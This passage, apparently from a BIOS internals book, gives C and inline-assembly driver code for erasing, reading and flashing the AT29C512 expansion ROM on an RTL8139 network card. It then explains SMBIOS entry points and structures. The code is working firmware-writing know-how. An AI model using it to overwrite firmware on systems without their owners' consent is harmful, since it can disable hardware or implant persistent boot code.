 
    return val; 
} 
 
 
static void __inline outl(ULONG value, USHORT port) 
{ 
    __asm 
    { 
       pushad        ;// Save all register contents 
 
       mov dx, port  ;// Fetch the input port address 
       mov eax, value;// Read the value to be written directly from 
                     ;// user-mode memory 
       out dx, eax   ;// Write the bytes to the device 
 
       popad         ;// Restore all saved register values 
    } 
} 
 
 
static void __inline WriteRtl8139RomByte(USHORT ioBase, UCHAR value, 
                                         ULONG addr ) 
{ 



    outl((addr & 0x01FFFF)|0x0A0000|(value<<24), ioBase + 0xD4); 
    outl((addr & 0x01FFFF)|0x1E0000|(value<<24), ioBase + 0xD4); 
} 
 
 
static UCHAR __inline ReadRtl8139RomByte(USHORT ioBase, ULONG addr ) 
{ 
    outl((addr & 0x01FFFF)|0x060000, ioBase + 0xD4); 
 
    return inb(ioBase + 0xD7); 
} 
 
 
void WriteRtl8139RomHack(ULONG baseAddr, ULONG bufLength, UCHAR * buf) 
{ 
    ULONG i, j, sectorStartAddr; 
    USHORT ioBase; 
 
    DbgPrint("WriteRtl8139RomHack: baseAddr = %X\n", baseAddr); 
 
    // 
    // check where the operational registers mapped 
    // 
    if( baseAddr & 1 ) // Is it I/O mapped? 
    { 
       ioBase = ((USHORT)baseAddr) & ~3 ; 
       DbgPrint("WriteRtl8139RomHack: ioBase = %X\n", ioBase); 
    } 
    else // No, it's memory mapped, unsupported in this version 
    { 
       return; 
    } 
 
    if(0 == usec_calibrate_delay()) 
    { 
       DbgPrint("WriteRtl8139RomHack: Failed to initialize delay\n"); 
       return; 
    } 
 
 
    // 
    // Warning! The flash ROM writing command here only applies to 
    // the AT29C512 chip 
    // 
    for( i = 0; i < bufLength; i+= SECTOR_SIZE ) 
    { 
       __asm{ 
           pushad; 
           pushfd; 
           cli; 
       } 



 
        // Sector write command (disable software data protection) 
       WriteRtl8139RomByte( ioBase, 0xAA, 0x5555 ); 
       WriteRtl8139RomByte( ioBase, 0x55, 0x2AAA ); 
       WriteRtl8139RomByte( ioBase, 0xA0, 0x5555 ); 
 
        // Put all data into the sector 
       j = i; 
       do{ 
           WriteRtl8139RomByte( ioBase, buf[j], j ); 
           j++; 
       }while((j % SECTOR_SIZE) != 0); 
 
       __asm{ 
           sti; 
           popfd; 
           popad; 
       } 
 
       usec_delay(9000); // Wait until programming is done 
    } 
 
    DbgPrint("WriteRtl8139RomHack: output buffer = %08X\n ", 
              *((ULONG*)&buf[0])); 
} 
 
 Listing 9.34 declares the WriteRtl8139RomHack function, which is used by the 
driver to respond to the IOCTL_RTL8139_ROM_WRITE_HACK request from the user-mode 
application. In listing 9.35, this function writes the contents of the file buffer31 to 
AT29C512 flash ROM. Note that the file buffer in the user-mode application is not copied 
to a nonpaged pool in the kernel mode. This is because of the nature of the IOCTL code 
that specifies the type of the buffering as METHOD_OUT_DIRECT: the I/O manager in 
Windows will lock down the user buffer pointed to by the lpOutBuffer parameter32 in the 
DeviceIoControl function to physical memory and construct the necessary page tables in 
kernel-mode context to access it. The buf pointer in WriteRtl8139RomHack is a pointer 
in the kernel-mode context to this buffer. Listing 9.35 also shows how to write to flash 
ROM. The for loop writes one sector33 at a time and waits approximately 9 msec after 
loading the sector's bytes before proceeding to the next sector. This delay is needed to wait 
for the flash ROM to finish writing the entire sector. 
 Proceed to the new files in the user-mode application. The coupling between the 
PCI expansion ROM feature and the rest of the bios_probe code is provided by the 
pci_card.h file, as shown in listing 9.36. 
 

                                                 
31 This buffer is filled in the user-mode application. 
32 The fifth parameter of the DeviceIoControl function. 
33 One sector is 128 bytes in AT29C512. 



Listing 9.36 pci_cards.h 

#ifndef __PCI_CARDS_H__ 
#define __PCI_CARDS_H__ 
 
/* 
 * NOTE: The functions in this unit are ONLY available if the bios_probe  
 *       device driver is working 
 */ 
#include "libpci/pci.h" 
 
struct pci_rom; 
 
struct pci_card { 
       char * name; 
       struct pci_dev device; 
       unsigned char (*read_rom_byte) ( struct pci_card *card, 
                                          unsigned long addr); 
       unsigned char (*write_rom_byte) (struct pci_card *card, 
                                          unsigned char value, 
                                          unsigned long addr ); 
       struct pci_rom * rom; 
}; 
 
struct pci_rom { 
       char * name; 
       int manufacturer_id; 
       int model_id; 
       int total_size; // In kilobytes 
       int sector_size; // In bytes 
       int (*probe)(struct pci_card *card ); 
       int (*erase)(struct pci_card *card); 
       int (*write)(struct pci_card *card, unsigned char *buf); 
       int (*read)(struct pci_card *card, unsigned char *buf); 
}; 
 
struct pci_card* find_pci_card( unsigned short vendor_id, 
                                   unsigned short device_id); 
struct pci_rom* probe_pci_rom(struct pci_card *card); 
 
extern struct pci_card pci_cards[]; 
extern struct pci_rom pci_roms[]; 
 
#endif //__PCI_CARDS_H__ 
 
 The implementation of the functions and data structures declared in pci_cards.h is 
in the pci_cards.c file, as shown in listing 9.37. 
 

Listing 9.37 pci_cards.c 

#include <stdlib.h> 



#include <stdio.h> 
#include "libpci/pci.h" 
#include "direct_io.h" 
#include "pci_cards.h" 
#include "at29c512.h" 
#include "rtl8139.h" 
 
struct pci_card pci_cards[] = { 
  { "RTL8139", {NULL, 0xFF, 0, 0, 0, 0x10EC, 0x8139, 0,  0,0,0,0,0,0, 
    0,0,0,0,0,0,  0, 0, NULL, NULL, 0/*header type*/, NULL}, 
    read_rtl8139_rom_byte, write_rtl8139_rom_byte, NULL}, 
 
    {NULL}, // End of the array indicator, a NULL device name 
}; 
 
struct pci_rom pci_roms[] = { 
       {"At29C512", ATMEL_ID, AT_29C512, 64, 128, probe_at29c512, 
       erase_at29c512, write_at29c512, read_at29c512}, 
 
       {NULL}, // End of the array indicator 
}; 
 
 
static void copy_device(struct pci_card * card, struct pci_dev * dev) 
{ 
       unsigned short i; 
 
       // 
       // Copy the contents of dev to card->device 
       // 
 
       printf("pci card found, name = %s ; vendor_id = %04X ; dev_id = " 
              "%04X\n", card->name, dev->vendor_id, dev->device_id); 
 
       card->device.bus = dev->bus; 
       card->device.dev = dev->dev; 
       card->device.func = dev->func; 
       card->device.rom_base_addr = dev->rom_base_addr; 
       card->device.rom_size = dev->rom_size; 
 
       for( i = 0 ; i < 6; i++ ) 
       { 
        card->device.base_addr[i] = dev->base_addr[i]; 
        card->device.size[i] = dev->size[i]; 
 
        printf("base address [%d] = %X\n", i, card->device.base_addr[i]); 
        printf("size [%d] = %X\n", i, card->device.size[i]); 
       } 
 
} 
 



struct pci_card* find_pci_card(unsigned short vendor_id, 
                                   unsigned short device_id) 
{ 
       struct pci_access *pacc; 
       struct pci_dev *dev; 
       unsigned int i; 
       struct pci_card *card = NULL; 
 
       // 
       // Is it supported in the pci_cards objects? 
       // 
       for(i = 0; pci_cards[i].name != NULL ; i++) 
       { 
              card = &pci_cards[i]; 
 
              if( (card->device.vendor_id == vendor_id) && 
                     (card->device.device_id == device_id) ) 
              { 
                     break; 
              } 
       } 
 
       if( card->name == NULL ) 
       { 
              return NULL; 
       } 
 
       // 
       // Check for the existence of the physical device 
       // 
    pacc = pci_alloc();       // Get the pci_access structure 
 
    // Set all options you want; I stick with the defaults 
    pci_init(pacc);           // Initialize the PCI library 
    pci_scan_bus(pacc);       // Get the list of devices 
    for(dev=pacc->devices; dev; dev=dev->next)// Repeat for all devices 
    { 
       pci_fill_info(dev, PCI_FILL_IDENT|PCI_FILL_BASES| 
        PCI_FILL_ROM_BASE|PCI_FILL_SIZES); // Fill in needed header info 
 
              if( (card->device.vendor_id == dev->vendor_id) && 
                     (card->device.device_id == dev->device_id)) 
              { 
                     // 
                     // Fill the device object inside card 
                     // 
                     copy_device( card, dev ); 
                     pci_cleanup(pacc);       // Close everything 
                     return card; 
              } 
    } 



    pci_cleanup(pacc);       // Close everything 
 
    return NULL; 
} 
 
 
struct pci_rom* probe_pci_rom(struct pci_card* card) 
{ 
       unsigned int i; 
       struct pci_rom *rom = NULL; 
 
       // 
       // Is it supported in the pci_roms structures? 
       // 
       for(i = 0; pci_roms[i].name != NULL ; i++) 
       { 
              rom = &pci_roms[i]; 
 
              if( rom->probe(card) == 1) 
              { 
                     card->rom = rom; 
                     return rom; 
              } 
       } 
 
       return NULL; // No, return void 
} 
 
 The function pointer members of the pci_cards array in pci_cards.c are 
implemented in the rtl8139.c file, as shown in listing 9.38. 
 

Listing 9.38 rtl8139.c 

#include <stdio.h> 
#include "direct_io.h" 
#include "pci_cards.h" 
#include "delay.h" 
 
unsigned char read_rtl8139_rom_byte (struct pci_card *card, 
                                          unsigned long addr) 
{ 
       unsigned short io_base = 0; 
       unsigned long mem_base = 0; 
       unsigned char val; 
 
       // 
       // Check where the operational registers are mapped 
       // 
       if( card->device.base_addr[0] & 1 ) // Is it I/O mapped? 
       { 



       io_base=((unsigned short)card->device.base_addr[0]) & ~3 ; 
       outl((addr & 0x01FFFF)|0x060000, io_base + 0xD4); 
       val = inb(io_base + 0xD7); 
 
       return val; 
       } 
       else // No, it's memory mapped 
       { 
       printf("Realtek 8139 operational register is memory mapped!\n"); 
       printf("This version cannot handle it yet.. \n"); 
 
       mem_base = card->device.base_addr[0] & ~0xF ; 
       } 
 
       return 0; 
} 
 
unsigned char write_rtl8139_rom_byte (struct pci_card *card, 
                              unsigned char value, unsigned long addr ) 
{ 
       unsigned short io_base = 0; 
       unsigned long mem_base = 0; 
 
       // 
       // Check where the operational registers are mapped 
       // 
       if( card->device.base_addr[0] & 1 ) // Is it I/O mapped? 
       { 
       io_base = ((unsigned short)card->device.base_addr[0]) & ~3 ; 
       outl((addr & 0x01FFFF)|0x0A0000|(value<<24), io_base + 0xD4); 
       outl((addr & 0x01FFFF)|0x1E0000|(value<<24), io_base + 0xD4); 
       } 
       else // No, it's memory mapped 
       { 
       mem_base = card->device.base_addr[0] & ~0xF ; 
       } 
 
       return 0; 
} 
 
 The functions in listing 9.38 provide the read and write access to flash ROM in 
RTL8139 NIC. 
 The last file that I'm going to explain is the at29c512.c file. This file contains the 
functions used to manipulate the content of the AT29C512 chip. It's shown in listing 9.39. 
 

Listing 9.39 at29c512.c 

#include <stdio.h> 
#include <windows.h> 
#include "pci_cards.h" 



#include "delay.h" 
#include "at29c512.h" 
#include "direct_io.h" // Quick hack 
 
static void reset_at29c512(struct pci_card *card) 
{ 
       myusec_delay(10000); 
 
       card->write_rom_byte( card, 0xAA, 0x5555 ); 
       card->write_rom_byte( card, 0x55, 0x2AAA ); 
       card->write_rom_byte( card, 0xF0, 0x5555 ); 
 
       myusec_delay(10000); 
} 
 
static __inline void wait_for_toggle_bit(struct pci_card *card) 
{ 
       unsigned int i = 0; 
       char tmp1, tmp2; 
 
       tmp1 = card->read_rom_byte(card, 0) & 0x40; 
 
       while (i++ < 0xFFFFFF) { 
              tmp2 = card->read_rom_byte(card, 0) & 0x40; 
 
              if (tmp1 == tmp2) { 
                     break; 
              } 
 
              tmp1 = tmp2; 
       } 
} 
 
 
int probe_at29c512(struct pci_card *card) 
{ 
       unsigned char manufacturer_id, device_id; 
 
       reset_at29c512(card); 
 
       card->write_rom_byte( card, 0xAA, 0x5555 ); 
       card->write_rom_byte( card, 0x55, 0x2AAA ); 
       card->write_rom_byte( card, 0x90, 0x5555 ); 
 
       manufacturer_id = card->read_rom_byte( card, 0 ); 
       device_id = card->read_rom_byte( card, 1 ); 
 
       reset_at29c512(card); 
 
       if( (ATMEL_ID == manufacturer_id) && (AT_29C512 == device_id)) 
       { 



              printf("Atmel AT29C512 detected..\n"); 
              return 1; // Returns 1 to indicate success 
       } 
       else 
       { 
              return 0; // Returns 0 to indicate failure 
       } 
} 
 
int erase_at29c512(struct pci_card *card) 
{ 
       reset_at29c512(card); 
 
       printf("Erasing AT29C512. Please wait.. \n"); 
 
       card->write_rom_byte( card, 0xAA, 0x5555 ); 
       card->write_rom_byte( card, 0x55, 0x2AAA ); 
       card->write_rom_byte( card, 0x80, 0x5555 ); 
       card->write_rom_byte( card, 0xAA, 0x5555 ); 
       card->write_rom_byte( card, 0x55, 0x2AAA ); 
       card->write_rom_byte( card, 0x10, 0x5555 ); 
 
       myusec_delay(10000); // Wait 10 msec 
 
       wait_for_toggle_bit(card); 
 
       return 1; // Return 1 to indicate success 
} 
 
int write_at29c512(struct pci_card *card, unsigned char * buf) 
{ 
       long i; 
 
 
    /*----------------- BEGIN HIGH PERFORMANCE CODE NEEDED -------------- 
       // instruction for writing a sector 
       card->write_Rom_byte( card, 0xAA, 0x5555 ); 
       card->write_rom_byte( card, 0x55, 0x2AAA ); 
       card->write_rom_byte( card, 0xA0, 0x5555 ); 
 
       // Put all data into the sector 
       for (i=0; i < (card->rom->total_size * 1024) ; i++) 
              card->write_rom_byte( card, buf[i], i ); 
 
       ----------------- END HIGH PERFORMANCE CODE NEEDED -------------*/ 
 
 
       //----------------- BEGIN HIGH PERFORMANCE CODE QUICK HACK ------- 
       printf("Flashing binary to AT29C512. Please wait.. \n"); 
       WriteRtl8139RomHack(card->device.base_addr[0], 
                           card->rom->total_size * 1024, buf); 



       //----------------- END HIGH PERFORMANCE CODE QUICK HACK --------- 
 
       // Test all sectors; check whether the written bytes are correct 
       for (i=0; i < (card->rom->total_size * 1024); i++) 
       { 
              if ( card->read_rom_byte(card, i) != buf[i] ) 
              { 
              printf("AT29C512 chip programming error at: 0x%0lX\n", i); 
              return 0; 
              } 
       } 
 
       return 1; // Return 1 to indicate success 
} 
 
 
int read_at29c512(struct pci_card *card, unsigned char * buf) 
{ 
       long i; 
 
       printf("Reading Atmel AT29C512 contents. Please wait..\n"); 
 
       reset_at29c512(card); 
 
       for( i = 0 ; i < (card->rom->total_size * 1024); i++) 
       { 
              buf[i] = card->read_rom_byte( card, i ); 
              myusec_delay(1); // Perform 1-usec delay 
       } 
 
       return 1; // Return 1 to indicate success 
} 
 
 As you can see in listing 9.39, I made a "quick hack" method to provide high-
performance code to write into AT29C512. The implementation of this high-performance 
code is in the form of a dedicated function to write into the flash ROM entirely in the 
device driver. This dedicated function is named WriteRtl8139RomHack in listing 9.35. 
Even though the same function name is used in the user-mode source code in the 
direct_io.h file, these functions are different. WriteRtl8139RomHack in direct_io.h calls 
the function with the same name in the device driver through the I/O manager34 by using 
the IOCTL_RTL8139_ROM_WRITE_HACK IOCTL code. 
 At this point, everything should be clear. Read the source code if you are still 
confused in some parts. Next, I show you how I test the executable. 
 
 
9.5.4. Testing the Software 
                                                 
34 If you call the DeviceIoControl function in user mode, you are actually interacting with the I/O 
manager. 



 
 Testing the new version of bios_probe is easy. First, I test the capability to erase 
the flash ROM. It is shown in figure 9.9. 
 

 
Figure 9.9 Erasing the flash ROM 

 
 To ensure that the flash ROM is indeed erased, I dumped the contents into a binary 
file, as shown in figure 9.10. 
 

 
Figure 9.10 Reading the flash ROM contents 

 



 The dump result is as expected. The binary file only contains FFh bytes, as shown 
in hex dump 9.2. 
 

Hex dump 9.2 PCI Expansion ROM Contents After They Have Been Erased 

Address  Hex Value                               ASCII Value 
00000000 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
00000010 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
00000020 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
00000030 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
00000040 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
... 
0000FFE0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
0000FFF0 FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF ................ 
 
 To ensure that everything is right, I reboot the system and boot from the RTL8139 
NIC. If the boot failed, then the erase operation is successful. I set the BIOS to boot from 
the LAN as shown in figure 9.11. 
 

 
Figure 9.11 Boot from LAN in the BIOS setting 

 
 The machine is booted and fails as expected, because other boot devices are 
disabled. It's shown in figure 9.12. 
 



 
Figure 9.12 Boot from a LAN failure after erasing the flash ROM 

 
 The next step is to test the PCI expansion ROM flashing in Windows. It's shown in 
figure 9.13. 
 

 
Figure 9.13 Flashing the binary file to PCI expansion ROM in Windows 

 
 The file that I flash in figure 9.13 is the binary file that you learn in chapter 7. 
However, I customized the source code in chapter 7 to generate this file, i.e., I fixed the 



vendor identifier and device identifier so that they match the RTL8139 NIC. If this file is 
successfully flashed, then when I reboot again and activate boot from LAN, the Hello 
World string will be displayed on the screen. Then the system halts. Indeed, that's the 
result. Figure 9.14 shows it. 
 

 
Figure 9.14 The result of flashing to PCI expansion ROM 

 
 Now, you have nothing to worry about when accessing the contents of the ROM 
chip directly in the operating system, regardless of whether it's motherboard BIOS or PCI 
expansion ROM. The upcoming chapters are even more interesting. 
 



Chapter 10 Low-Level Remote Server 
Management 
 
 
PREVIEW 
 
 You might not be aware of the presence of low-level remote access to x86 system 
hardware and firmware through software interfaces called the desktop management 
interface (DMI) and system management basic input/output system (SMBIOS). They were 
competing standards. DMI reached the end of its life cycle in 2005. Therefore, my 
explanation regarding these protocols focuses on SMBIOS. Nevertheless, some artifacts 
from the DMI era are still found in SMBIOS for compatibility reasons. The first section 
explains the SMBIOS interface, and the second section deals with the real-world 
implementation of the interface in a sample BIOS binary, along with a simple SMBIOS 
structure table parser. You also get a glimpse of Windows management instrumentation 
(WMI). 
 
 
10.1. DMI and SMBIOS 
 
 DMI and SMBIOS are standards developed and maintained by the Distributed 
Management Task Force (DMTF). These standards are meant to take part in a software 
layer to provide seamless remote management for server and desktop machines. The 
purpose is to lower the total cost of ownership for organizations running various machines. 
The more machines an organization has, the greater the benefit it receives from being able 
to centralize the management tasks of the machines, such as monitoring machine 
performance and updating certain software. This machine management paradigm is termed 
Web-based enterprise management (WBEM) by the DMTF 
(http://www.dmtf.org/standards/wbem/). In this context, DMI or SMBIOS is only one of 
the software layers that provide management functions. Note that DMI has been deprecated 
and replaced by SMBIOS. 
 Figure 10.1 shows a simplified logical architecture for a WBEM computing 
environment. 
 



 
Figure 10.1 WBEM logical architecture 

 
 Figure 10.1 show that the operating system–specific "client" application manages 
access not only to the so-called SMBIOS structures table but also to "other manageable 
components." In Windows, this client is WMI. In a UNIX-based operating system, the 
operating system–specific client depends on the vendor that provides it. Big vendors such 
as Sun Microsystems, Hewlett-Packard, and IBM provide a custom WBEM client 
application. Some Linux distributions from big vendors, such as Novell/SUSE, also 
implements WBEM client software. I won't delve into the UNIX version of the client 



software in this book because it varies so much. There is open-source activity around the 
UNIX implementation of WBEM at http://openwbem.org/. As for WMI, I offer a little 
explanation. However, this chapter covers the BIOS level implementation of the WBEM 
paradigm. Therefore, the operating system–specific layer of WBEM will not be the major 
theme here. 
 Even if figure 10.1 shows a kind of client–server relationship between the WBEM 
manager software and the system that hosts the manageable components, in the real world, 
the system doesn't have to be set up as client and server for the WBEM to work. For 
example, in Windows machines, as long as remote access to the WMI of the remote 
machine is granted, the local machine can "ask" the remote machine to perform 
management tasks. 
 The requirements and specifics about WBEM for hardware devices are available in 
the "Windows Hardware Instrumentation Implementation Guidelines" at 
http://download.microsoft.com/download/5/7/7/577a5684-8a83-43ae-9272-
ff260a9c20e2/whiig-1.doc. The SMBIOS implementation guideline is provided in chapter 
2.7 in the document: 

Static SMBIOS table data is provided to WMI using the WMI infrastructure 
 
Required 
 
Vendors who want to provide OEM-specific and system-specific 
instrumentation data may choose to use SMBIOS as the mechanism. In 
order to leverage the capabilities of the WMI infrastructure to surface this 
SMBIOS data, they must conform to any SMBIOS version from 2.0 to 2.3. 
Doing so will allow the Win32 provider to populate almost all of the SMBIOS-
provided information into the [Common Information Model] CIMv2.0 
namespace. In particular, almost all of the information will be put into Win32 
classes. Some of these Win32 classes are derived from the CIMv2.0 physical 
[Managed Object Format] MOF. 
 
This requirement does not imply a requirement to implement SMBIOS in a 
system. 

 
 It's clear in the preceding citation that the WMI subsystem in Windows will "parse" 
the SMBIOS data provided by the BIOS and then "export" it to the WBEM manager 
software as needed through the WMI interface. 
 In figure 10.1, an arrow runs from the power-on BIOS code to the SMBIOS structure 
tables. This arrow means the SMBIOS structures table is populated by the BIOS code that 
is executed during system initialization. 
 SMBIOS is a BIOS feature specific to the x86 platform. It's implemented as part of 
the WBEM initiative. The role of SMBIOS is to provide system-specific information to the 
upper layer in the WBEM implementation, i.e., the operating system layer. To easily 
understand the SMBIOS, you can download version 2.4 of its specification at 
http://www.dmtf.org/standards/smbios/. I often refer to the contents of this specification. 
 In the earlier implementation of SMBIOS, the information was presented as a 
"callable interface," i.e., platform-specific function calls. The current implementation of 



SMBIOS presents the information to the upper layer in the form of a data structure. This 
data structure is shown as the SMBIOS structures table in figure 10.1. 
 The entry point to this data structure table is a string signature, _SM_. This entry point 
is placed in a 16-byte boundary inside physical address range 0xF0000–0xFFFFF in the 
x86 architecture. The table1 itself need not be located in this address range. The SMBIOS 
specification states that it must be in the 4-GB address range because it has to be addressed 
with 32-bit addressing; nevertheless, many BIOSs implement the table within the 
0xF0000–0xFFFFF physical address range. The entry point of SMBIOS structure table is 
described in table 10.1; this table can also be found in the DMTF "System Management 
BIOS (SMBIOS) Reference Specification," version 2.4, released July 4, 2004. 
 

Offset Name Length Description 
00h Anchor string 4 bytes _SM_, specified as four ASCII characters (5F 

53 4D 5F). 
04h Entry point 

structure 
(EPS) 
checksum 

Byte Checksum of the EPS. This value, when 
added to all other bytes in the EPS, will result 
in the value 00h (using 8-bit addition 
calculations). Values in the EPS are summed 
starting at offset 00h for entry point length 
bytes. 

05h Entry point 
length 

Byte Length of the EPS, starting with the anchor 
string field, in bytes, currently 1Fh. 
Note: This value was incorrectly stated in 
v2.1 of the SMBIOS specification as 1Eh. 
Because of this, there might be SMBIOS v2.1 
implementations that use either the 1Eh or 
the 1Fh value, but SMBIOS v2.2 or later 
implementations must use the 1Fh value. 

06h SMBIOS major 
version 

Byte Identifies the major version of the SMBIOS 
specification implemented in the table 
structures, e.g., the value will be 0Ah for 
revision 10.22 and 02h for revision 2.1. 

07h SMBIOS minor 
version 

Byte Identifies the minor version of the SMBIOS 
specification implemented in the table 
structures, e.g., the value will be 16h for 
revision 10.22 and 01h for revision 2.1. 

08h Maximum 
structure size 

Maximum 
structure 
size 

Size of the largest SMBIOS structure, in 
bytes. This encompasses the structure's 
formatted area and text strings. This is the 
value returned as StructureSize from the 
PnP Get SMBIOS Information function. 

0Ah Entry Point Byte Identifies the EPS revision implemented in 

                                                 
1 The SMBIOS data structure table is not the same as an SMBIOS entry point, even though both of 
them are data structures. In the real-world implementation, the latter provides the entry point for the 
former. 
 



Revision this structure and identifies the formatting of 
offsets 0Bh to 0Fh, as one of the following: 
00h—Entry point is based on the SMBIOS 
v2.1 definition; formatted area is reserved 
and set to all 00h. 
01h–FFh—Reserved for assignment in the 
SMBIOS v2.4 specification 

0Bh–
0Fh 

Formatted 
area 

5 bytes The value present in the entry point revision 
field defines the interpretation to be placed 
upon these 5 bytes. 

10h Intermediate 
anchor string 

5 bytes _DMI_, specified as five ASCII characters 
(5F 44 4D 49 5F). Note: This field is 
paragraph-aligned, to allow legacy DMI 
browsers to find this entry point within the 
SMBIOS EPS. 

15h Intermediate 
checksum 

Byte Checksum of intermediate entry point 
structure (IEPS). This value, when added to 
all other bytes in the IEPS, will result in the 
value 00h (using 8-bit addition calculations). 
Values in the IEPS are summed starting at 
offset 10h, for 0Fh bytes. 

16h Structure table 
length 

Word Total length of the SMBIOS structure table, 
pointed to by the structure table address, in 
bytes. 

18h Structure table 
address 

Dword The 32-bit physical starting address of the 
read-only SMBIOS structure table that can 
start at any 32-bit address. This area 
contains all of the SMBIOS structures fully 
packed together. These structures can then 
be parsed to produce exactly the same 
format as that returned from a Get SMBIOS 
Structure function call. 

1Ch Number of 
SMBIOS 
structures 

Word Total number of structures present in the 
SMBIOS structure table. This is the value 
returned as NumStructures from the Get 
SMBIOS Information function. 

1Eh SMBIOS 
binary-coded 
decimal 
revision 

Byte Indicates compliance with a revision of this 
specification. It is a binary-coded decimal 
value, where the upper nibble indicates the 
major version and the lower nibble the minor 
version. For revision 2.1, the returned value 
is 21h. If the value is 00h, only the major and 
minor versions in offsets 6 and 7 of the EPS 
provide the version information. 

Table 10.1 SMBIOS structure table entry point 

 



 Even table 10.1 might obscure how this table entry point fits into the overall SMBIOS 
architecture. Therefore, figure 10.2 shows the logical way to access the SMBIOS structure 
table. 
 

 
Figure 10.2 Searching for SMBIOS structure table 

 
 You can realize that the low-level remote management feature exists if an operating 
system is running, because the operating system provides connection from the machine to 
the outside world. Indeed, the WBEM architecture mandates this. However, the operating 
system doesn't have to be a full-fledged operating system like Windows or UNIX—or even 
small-scale operating system–like software, such as the remote program loader or Intel's 
PXE ROM code. If the machine boots from NIC, it is enough. As long as there is software 
that provides connection to the machine, you can remotely query the low-level system 
features by scanning and parsing the SMBIOS information in SMBIOS structure table. 
 You now know how to access the SMBIOS structure table. Next, consider some 
interesting parts of the SMBIOS structure table. I have to explain the basic organization of 
the table entries first. Every entry in the structure table is called an SMBIOS structure. It's 
composed of two parts. The first is the formatted section and the second is an optional 
unformatted section, as shown in figure 10.3. 
 

 



Figure 10.3 Organization of an SMBIOS structure 

 
 The formatted section contains the predefined header for the SMBIOS structure, and 
the unformatted section contains the strings associated with the contents of the formatted 
section or another kind of data as dictated by the SMBIOS specification. The unformatted 
section is not mandatory. The presence of the unformatted section depends on the type of 
the structure. The header of the SMBIOS structure is crucial in determining the type of the 
structure. The organization of bytes in the header is shown in table 10.2, which also can be 
found in the version 2.4 of the SMBIOS specification. 
 

Offset Name Length Description 
00h Type Byte Specifies the type of structure. Types 0 through 127 

(7Fh) are reserved for and defined by this specification. 
Types 128 through 256 (80h to FFh) are available for 
system- and OEM-specific information. 

01h Length Byte Specifies the length of the formatted area of the 
structure, starting at the Type field. The length of the 
structure's string set is not included 

02h Handle Word Specifies the structure's handle, a unique 16-bit number 
in the range 0–0FFFEh (for version 2.0) or 0–0FEFFh 
(for versions 2.1 and later). The handle can be used 
with the Get SMBIOS Structure function to retrieve 
a specific structure; the handle numbers are not 
required to be contiguous. For v2.1 and later, handle 
values in the range 0FF00h–0FFFFh are reserved for 
use by this specification. If the system configuration 
changes, a previously assigned handle might no longer 
exist. However, once a handle has been assigned by 
the BIOS, the BIOS cannot reassign that handle 
number to another structure. 

Table 10.2 Organization of bytes in the SMBIOS structure header 

 
 The offset in table 10.2 is calculated from the first byte in the SMBIOS structure. 
Note that the Type byte in table 10.2 is the first byte of an SMBIOS structure. As seen in 
the description of the Type byte, there are 128 predefined types of SMBIOS structures. As 
stated previously, there are some interesting SMBIOS structures. For example, SMBIOS 
structure type 15 is the system event log. This structure is interesting because, by using 
information from this structure, you can access the CMOS parameters in the machine. 
Table 10.3 shows the relevant contents of this structure; this table can also be found in 
version 2.4 of the SMBIOS specification. 
 

Offset SMBIOS 
Specification Name Length Value Description 



Version 
00h 2.0+2  Type Byte 15 Event log type indicator 
01h 2.0+ Length Byte Var3  

 
Length of the structure, 
including the Type and 
Length fields. The length is 
14h for v2.0 implementations 
or computed by the BIOS as 
17h + (x * y) for v2.1 and 
higher implementations; x is 
the value present at offset 15h 
and y is the value present at 
offset 16h. 

02h 2.0+ Handle Word Var The handle, or instance 
number, associated with the 
structure. 

04h 2.0+ Log 
area 
length 

Word Var The length, in bytes, of the 
overall event log area, from the 
first byte of header to the last 
byte of data. 

06h 2.0+ Log 
header 
start 
offset 

Word Var Defines the starting offset (or 
index) within the nonvolatile 
storage of the event log's 
header from the access 
method address. For single-
byte indexed I/O accesses, the 
most significant byte of the 
start offset is set to 00h. 

08h 2.0+ Log 
data 
start 
offset 

Word Var Defines the starting offset (or 
index) within the nonvolatile 
storage of the event log's first 
data byte from the access 
method address. For single-
byte indexed I/O accesses, the 
most significant byte of the 
start offset is set to 00h. 
Note: The data directly follows 
any header information. 
Therefore, the header length 
can be determined by 
subtracting the header start 
offset from the data start offset. 

0Ah 2.0+ Access 
method 

Byte Var Defines the location and 
method used by higher-level 
software to access the log area 
according to one of the 

                                                 
2 2.0+ means specification version 2.0 or later. 
3 Var means the value varies 
 



following: 
00h indexed I/O—1 8-bit index 
port, 1 8-bit data port. The 
access method address field 
contains the 16-bit I/O 
addresses for the index and 
data ports. 
01h indexed I/O—2 8-bit index 
ports, 1 8-bit data port. The 
access method address field 
contains the 16-bit I/O address 
for the index and data ports. 
02h indexed I/O—1 16-bit 
index port, 1 8-bit data port. 
The access method address 
field contains the 16-bit I/O 
address for the index and data 
ports. 
03h memory-mapped physical 
32-bit address—The access 
method address field contains 
the 4-byte (Intel dword format) 
starting physical address. 
04h—Available via general-
purpose nonvolatile data 
functions. 
The access method address 
field contains the 2-byte (Intel 
word format) GPNV (general-
purpose nonvolatile) handle. 
05h–7Fh—Available for future 
assignment via this 
specification. 
80h–FFh—BIOS vendor or 
OEM specific.  

0Bh 2.0+ Log 
status 

Byte Var This bit field describes the 
current status of the system 
event log: 
Bits 7:2—Reserved, set to 
zeros 
Bit 1—Log area full if one 
Bit 0–Log area valid if  one 

0Ch 2.0+ Log 
change 
token 

Dword Var Unique token that is 
reassigned every time the 
event log changes. It can be 
used to determine if additional 
events have occurred since the 
last time the log was read. 

10h 2.0+ Access 
method 

Dword Var The address associated with 
the access method; the data 



address present depends on the 
access method field value. The 
area's format can be described 
by the following 1-byte-packed 
"C" union: 
union 
{ 
   struct 
   { 
     short IndexAddr; 
     short DataAddr; 
   } IO; 
   long PhysicalAddr32; 
   short GPNVHandle; 
} AccessMethodAddress; 

... ... ... ... ... ... 
Table 10.3 Relevant contents of system event log structure in SMBIOS 

 
 Some server vendors use information obtained from the system event log structure to 
change the contents of the CMOS chip in the system remotely with their proprietary 
WBEM manager software. 
 Another interesting SMBIOS structure is the management device structure (type 34). 
With information from this structure, you can devise a program to monitor the system 
hardware parameters remotely, such as the voltage levels of a remote PC's processor, the 
remote PC's fan spin rate, the remote PC's fan failures, and overheating problems on a 
